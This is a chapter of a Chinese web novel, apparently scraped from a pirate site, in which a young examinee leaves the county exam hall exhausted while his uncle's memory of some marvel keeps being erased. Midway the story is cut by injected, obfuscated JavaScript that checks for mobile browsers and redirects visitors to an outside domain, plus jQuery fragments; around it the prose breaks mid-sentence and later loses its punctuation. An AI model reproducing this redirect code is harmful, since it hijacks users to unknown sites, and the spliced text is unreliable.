一日之后,考院沉重的大门,缓缓开启。
考场外原本静静等候的人群,突然热闹了起来。
“出来了!出来了!”
“是我儿子,估计发挥得不错.”
“我大哥也不差,红光满面的.”
议论声中,考生们陆续走出,神色各异。
有的昂首挺胸,面带红光,有的则垂头丧气,面色灰败,步履沉重。
人群中,立刻有家人迎了上去。
“儿啊,昨天我好像听到文钟响了,是不是考场里有……”一位父亲的话刚说到一半,声音却戛然而止。
脸上的好奇瞬间被一片茫然所取代,愣愣地看着自己的儿子。
“我……我刚想问什么来着?”
“老了,老了,太健忘了。”父亲挠了挠头,尴尬地笑了笑。
“哦,对了,考得如何?”
相似的情景,在考院门前不断上演。
无数人心中都涌动着一股莫名的激动,心里盘旋着一个迫切想知道答案的问题。
可话到嘴边,却又化作一片空白,只剩下普通的问候。
人群角落,大伯也伸长了脖子,竖着耳朵。
周围的人议论纷纷,却都只是些寻常的考后闲谈。
“奇怪,这帮人怎么回事?”大伯心里犯着嘀咕,同时目光也在人群中不断搜索。
“璘哥儿怎么还不出来?”
等了许久,眼看着考生们都走得差不多了,大伯也忘了自己好奇什么。
摇了摇头,自己真是咸吃萝卜淡操心。
应该是来问璘哥儿考得怎么样来着。
不止是等候的人不对劲,先出来的考生们,也觉得浑身不对劲。
明明感觉自己情绪高涨,但就是不知道为何兴奋。
“我感觉这次发挥得前所未有的好,文思泉涌,案首有望啊!”
“可我总觉得,好像忘了什么天大的好事,心里空落落的。”
就在这时,两个身影一前一后,从考院的大门内并肩走出。
正是卢璘与崔皓。
大伯眼睛一亮,连忙挤开人群迎了上去。
走进一看,只见卢璘脸色苍白如纸,眼下挂着浓重的黑青,整个人一副疲惫不
堪的模样。
大伯一边摇头叹气,一边以一副过来人的口吻开口教育侄子。
“璘哥儿,这会知道大伯这些年的辛苦了吧。
卢璘闻言,无力地翻了个白眼。
你那叫辛苦?
不过卢璘此刻懒得和大伯争辩,连开口的力气都没有。
他现在只想找张床,立刻躺下,睡他个三天三夜。
写出“修身齐家治国平天下
大伯见状,继续念叨着:“没事儿,这题目我也看了,确实是难。
“尤其是你年纪还小,不懂什么是孝,什么是悌,写不出来也正常。
一旁的崔皓忍不住摇头失笑。
考场内,听到县太爷提到卢璘出身柳家书童,原本崔皓是不信的。
什么样的贫寒之家,能教养出这样的卢璘。
这等连崔家,甚至连当世大儒都教导不出的麒麟儿,竟真的出自市井人家。
可看到卢璘大伯的言行举止,他才终于信了。
大伯一见到卢璘,被强行压下的记忆碎片,突然又翻涌了上来。
他猛地一拍脑门,满是好奇:
“哎呀,瞧我这记性,人老了就是不中用!
“连这么大的事,都能忘了!
“璘哥儿,快跟大伯说说,你们考场里是不是有什么异象?是不是有个考生写出了……
话说到一半,大伯的声音再次消失了。
只能看到嘴巴一开一合间不断耸动,却发不出半点声音。
卢璘有些疑惑。
大伯这是怎么了?
又在哪个小娘那学会了唱哑剧?
崔皓站在一旁,看着大伯方才差点说出“传天下三个字,眼中闪过一丝意外。
按理说,所有无关之人的记忆都该被抹去才对。
先前的考生和等候的亲朋友都是很好的证明。
可为何大伯是例外?
崔皓心中微动。
难不成,是因为他与卢璘之间的血脉联系,让他对那股抹除记忆的力量,有了一丝微弱的抗性?
大伯比画了半天,最终颓然地垂下了手,连自己刚才想问什么都忘了。
重重地
叹了口气指着卢璘又端起了长辈的架子。
“你啊不要以为之前写了首诗得了点虚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453105|185271||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
名就沾沾自喜。”
“现在看到你和其他学子的差距了吧?这才第一天的考试就累成这副熊样。”
“想当年我……”
大伯见崔皓衣着普通但年纪与卢璘相仿只当是柳府派来陪考的家丁。
清了清嗓子继续用那副倚老卖老的口吻对着卢璘和崔皓两人谆谆教诲。
“你们啊还是眼皮子太浅
“柳府在咱们清河县算得上是有头有脸可放眼整个大夏比柳府强的英雄豪杰如过江之鲫数不胜数!”
大伯还在念叨个没完听得卢璘脑瓜子生疼。
这时其余来参考的柳府家丁们终于找到了卢璘。
四人从人群里挤了出来快步跑到卢璘身边。
几人第一场考完便知自己无望早早便交了卷。
“璘哥你没事吧?”
家丁们看着卢璘那张毫无血色的脸吓了一跳连忙伸手接过卢璘身上的行李和手中的提篮。
卢璘点了点头顺手把行李递了过去连开口的力气都没有了。
一旁的崔皓见卢璘汇合了同伴对卢璘郑重地拱了拱手。
“卢兄三日后第二场见。”
说完便转身离去。
县试共有三场。
第一场考的是四书五经也是最重要的一场。
中间会空出两天专供考官阅卷。
两天后的上午考院门前会张贴出第一场的榜单。
只有榜上有名的考生才有资格参加后面的第二场战诗词以及第三场策论。
若是第一场便名落孙山那这趟科举之路便算走到头了。
卢璘看着崔皓离去的背影轻轻点了点头。
随即转向还在一旁喋喋不休的大伯有气无力地拱了拱手。
“大伯我先回府了。”
说完也不等大伯回应便在家丁的搀扶下朝着柳府的马车走去。
回到柳府时已是黄昏。
卢璘下了马车只觉得眼前的景象都在天旋地转。
强撑着精神对守在门口的管事交代了一句。
“去回禀老爷夫人还有夫子。”
“就说我有些乏了先回房歇息。”
说完卢璘便再也支撑不住身子一软几乎是被人架着回了自己的小院。
推开房门卢璘甚至来不及脱下外衣便一头栽倒在床上。